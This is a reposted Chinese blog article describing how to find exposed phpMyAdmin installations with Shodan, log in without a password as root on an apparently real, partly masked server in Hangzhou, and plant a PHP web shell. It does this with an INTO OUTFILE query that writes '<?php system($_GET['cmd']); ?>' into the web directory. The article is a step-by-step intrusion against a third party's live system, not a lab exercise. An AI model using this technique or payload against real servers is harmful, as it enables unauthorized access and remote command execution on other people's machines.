phpMyAdmin通过密码漏洞留后门文件

166 阅读 0 评论 110 点赞

我是靠谱客的博主知性砖头，最近开发中收集的这篇文章主要介绍phpMyAdmin通过密码漏洞留后门文件，觉得挺不错的，现在分享给大家，希望可以做个参考。

经测试，第二个漏洞在 phpMyAdmin 3.5.1 版本也是可行的。原理从略。

下面让我们简单的上网看看能不能找到一些存在这样漏洞的登陆页面。

祭出著名的漏洞搜索引擎 Shodan 并搜索 phpMyAdmin。

phpMyAdmin

先看看有没有不需要密码登陆的，逐一尝试没有后寻找名字中包含的版本号。这里我找到一个国内的（浙江省·杭州市）。

地址已手动打码。

http://121.***.*.219:80/

登陆成功（root 权限）。

接下来你可以写一个 outfile 到对方主机的网络目录下。俗称 “留后门”。

SELECT "<?php system($_GET[‘cmd']); ?>" into outfile "后门文件的绝对路径"

点击运行，不出意外便在对方主机留下了一个名为 runme.php 的后门文件。

总结

以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对靠谱客的支持。如果你想了解更多相关内容请查看下面相关链接

以上就是知性砖头为你收集整理的phpMyAdmin通过密码漏洞留后门文件的全部内容，希望文章能够帮你解决phpMyAdmin通过密码漏洞留后门文件所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。